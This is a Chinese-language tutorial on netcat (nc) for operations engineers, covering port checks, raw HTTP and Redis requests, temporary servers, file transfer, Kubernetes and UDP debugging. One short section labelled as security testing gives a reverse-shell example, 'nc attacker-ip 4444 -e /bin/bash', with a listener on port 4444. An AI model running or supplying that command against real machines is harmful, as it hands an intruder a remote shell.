很多资深运维和架构师几乎每天都在用它。
它就是 nc(netcat)。
有人甚至称它为:
“网络界的瑞士军刀”
如果你会用 nc,很多网络问题几秒钟就能定位。
如果不会,你可能会花几个小时。
今天这篇文章,我们系统讲清楚 nc 的原理、用法和工程实践。
很多工程师都遇到过这些问题:
服务启动了,但客户端连接不上。
你可能会问:
服务真的在监听端口吗?客户端报错:
connection refusedconnection timeout
但问题到底是:
网络问题?
防火墙?
服务没有启动?
程序 bug?
例如:
RedisHTTPMQ自定义 TCP 协议
你只想:
手动发一条请求、看看返回但写程序太慢。
例如:
Pod A 无法访问 Pod B你想快速验证:
端口是否通如果没有合适工具,你可能会:
写测试程序
修改代码
抓包
打日志
但实际上:
一个 nc 就够了。
nc 的全名:Netcat
核心能力只有三件事:
1 建立 TCP / UDP 连接2 发送数据3 接收数据简单来说:
nc = TCP/UDP 原始客户端 + 原始服务器它可以:
连接任意端口
发送任意数据
监听端口
传输文件
调试协议
Clientnc host port│TCP连接|▼Server
也可以反过来:
Servernc -l 8080│ TCP连接▼Client
本质就是:
输入数据│▼STDIN│▼nc│▼socket│▼远程服务器
Linux 发行版基本都自带。
如果没有:
apt install netcat或
apt install netcat-openbsdyum install nc或
dnf install nmap-ncat最常见用途:
nc -zv host port示例:
nc -zv localhost 8080输出:
Connection to localhost 8080 port [tcp/http-alt] succeeded!参数解释:
-z 只检测端口-v 显示详细信息nc -zv localhost 8000-8100输出示例:
Connection to localhost 8080 succeededConnection to localhost 8081 succeeded
连接 HTTP 服务:
nc example.com 80然后输入:
GET / HTTP/1.1Host: example.com
就能看到 HTTP 返回。
监听端口:
nc -l 8080客户端连接:
nc localhost 8080通信效果:
client → serverhello
server → clientworld
很多人会用:curl
但 curl 只适合 HTTP。
更底层的测试:
nc -zv localhost 6379检查 Redis:
Connection succeeded例如测试 Redis:
nc localhost 6379发送:
PING返回:
+PONG模拟服务端:
nc -l 9000客户端:
nc localhost 9000可以快速验证:
网络协议客户端逻辑
Server:
nc -l 9000 > file.txtClient:
nc server 9000 < file.txt传输模型:
file.txt│▼nc client│▼network│▼nc server│▼file.txt
进入容器:
kubectl exec -it pod -- bash测试:
nc service-name 8080可以快速验证:
ServiceDNS端口网络策略
默认 nc 可能会一直等待。
nc -w 3 host port表示:3秒超时
nc 也支持 UDP。
nc -u host port例如:
nc -u localhost 8125可以测试:
StatsDDNSUDP协议
(安全测试常见)
监听:
nc -l 4444目标机器:
nc attacker-ip 4444 -e /bin/bash攻击者即可获得 shell。
⚠️ 注意:
很多系统默认禁用 -e 参数。
某些 nc 版本支持:
nc -lk 8080表示:
持续监听否则每次连接结束都会退出。Linux的威力在于:管道
例如:
echo "hello" | nc localhost 9000或者:
nc host 80 < request.txt记住 nc 的 4 个核心用途:
1 端口检测2 TCP 调试3 临时服务器4 网络排障很多资深工程师遇到网络问题的第一反应就是:
先nc一下因为它:简单、通用、无依赖
在 Linux 世界里:
不会 nc,就像不会 ping。
man nc